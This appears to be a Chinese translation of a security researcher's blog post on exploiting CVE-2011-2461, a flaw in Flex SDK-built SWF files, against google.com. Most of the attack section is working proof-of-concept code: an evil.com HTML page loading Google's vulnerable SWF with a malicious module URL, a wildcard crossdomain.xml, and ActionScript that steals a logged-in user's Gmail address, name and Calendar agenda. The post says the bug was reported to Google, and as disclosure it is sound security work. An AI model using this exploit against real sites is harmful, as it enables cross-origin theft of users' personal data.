google.com CVE-2011-2461 Exploiting

怪狗 2016-7-31 Exploit 0 0

google.com

根据我们之前的文章,由于CVE-2011-2461漏洞实际是基于Flex SDK生成swf文件时产生的。与用户本地的Adobe Flash Player没有关系,所以通过我们大范围的扫描,发现谷歌也同样受到影响。

攻击流程

首先,需要大家对于CVE-2011-2461漏洞有一定的了解(实际是基于旧的Flex SDK生成swf文件时,没有指定crossdomain.xml文件导致,通过劫持crossdomain.xml,可以使得swf文件,加载另一个网站上的swf文件)并且也看过我们之前发的两篇文章(文章1,文章2)(其中一篇已经翻译过了)另外,友情提示,以下用到的网址都是虚构的,如有雷同纯属巧合~

具体的攻击流程如下:

1、受害者登陆Google账号,并访问我们的恶意网站

2、受害者访问了恶意网址,下载了嵌入在网页中的存在漏洞的swf文件

3、当存在漏洞的swf文件被Flash Player加载时,首先验证了恶意网站上的crossdomain.xml文件,然后成功的将该网站上的恶意swf文件也加载了起来(恶意swf文件的路径作为参数传给存在漏洞的swf)

4、由于恶意的swf是继承自存在漏洞的swf文件,所以也继承了其连接,可以对存在漏洞的swf所在的网站发送http。并无视最新的浏览器及Flash补丁。

google.com

攻击重现

以下是之前提到的三个关键文件的关键代码

http://evil.com/poc/test.html

<i>Victim's agenda:</i>
<textarea id="x" style="width: 100%; height:50%"></textarea>
<object width="100%" height="100%"
 
type="application/x-shockwave-flash"
 
data="https://www.google.com/wonderwheel/wonderwheel7.swf">
 
<param name="allowscriptaccess" value="always">
 
<param name="flashvars" value="resourceModuleURLs=http://evil.com/poc/URLr_google.swf">
</object>

http://evil.com/crossdomain.xml

<?xml version="1.0"?>
<cross-domain-policy>
 
<allow-access-from domain="*" />
</cross-domain-policy>
 package {
import flash.display.Sprite;
import flash.text.TextField;
import flash.events.*;
import flash.net.*;
import flash.external.ExternalInterface;
public class URLr_google extends Sprite {
public static var app : URLr_google;
private static var email : String;
public function main():void {
app = new URLr_google();
}
public function URLr_google() {
var url:String = "https://www.google.com/?gws_rd=cr";
var loader:URLLoader = new URLLoader();
configureListeners(loader);
var request:URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
}
private function pingCalendar():void {
var url:String = "https://www.google.com/calendar/";
var loader:URLLoader = new URLLoader();
configureListenersCalendar(loader);
var request:URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private function configureListenersCalendar(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerCalendar);
}
private function getAgenda():void {
var url:String = "https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=" + email;
var loader:URLLoader = new URLLoader();
configureListenersAgenda(loader);
var request:URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private function configureListenersAgenda(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerAgenda);
}
private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var s:String = loader.data;
var pattern:RegExp = /[a-z0-9._-]+@[a-z0-9._-]+/.[a-z]+/i;
var results:Array = s.match(pattern);
if (results.length > 0) {
email = results[0];
ExternalInterface.call("eval", "alert('Email address: " + email + "')");
pingCalendar();
}
}
private function completeHandlerCalendar(event:Event):void {
getAgenda();
}
private function completeHandlerAgenda(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var res:String = escape(loader.data);
ExternalInterface.call("eval", "document.getElementById('x').value='" + res + "'document.getElementById('x').value=unescape(document.getElementById('x').value)");
var pattern:RegExp = /title>[a-z0-9]+/s[a-z0-9]+<//title/i;
var results:Array = unescape(res).match(pattern);
if (results.length > 0) {
var name:String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split("<")[0];
ExternalInterface.call("eval", "alert('Name and surname:" + name + "')");
}
}
}
}

通过访问恶意网址,攻击者可以盗取以下的用户信息:

1、GMail邮箱地址

2、名字

3、姓氏

4、Google Calender上的日程安排

根据URLr_google.swf中的代码,发现,恶意swf向Google提交了三次请求:

1、访问https://www.google.com/?gws_rd=cr,获得邮箱地址

2、访问https://www.google.com/calendar/,初始话Google Calender

3、访问https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=[JUST_STOLEN_EMAIL_ADDRESS] 获得姓、名以及日程安排

当然,根据不同的页面,还有其他的攻击方法。例如,可以盗取anti-CSRF令牌,来模拟用户行为。

实际上,我们去年12月份已经将问题提交给了谷歌,并获得了漏洞相关的奖励,干杯~

最后,希望我们的检查工具,能为您提供帮助。检查并测试你们网站上的swf。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:http://blog.mindedsecurity.com/2015/03/exploiting-cve-2011-2461-on-googlecom.html

原文地址:http://www.77169.com/exploits/2015/20150331064311.shtm

转载请注明来自华盟网,本文标题:《google.com CVE-2011-2461 Exploiting》

喜欢 (0) 发布评论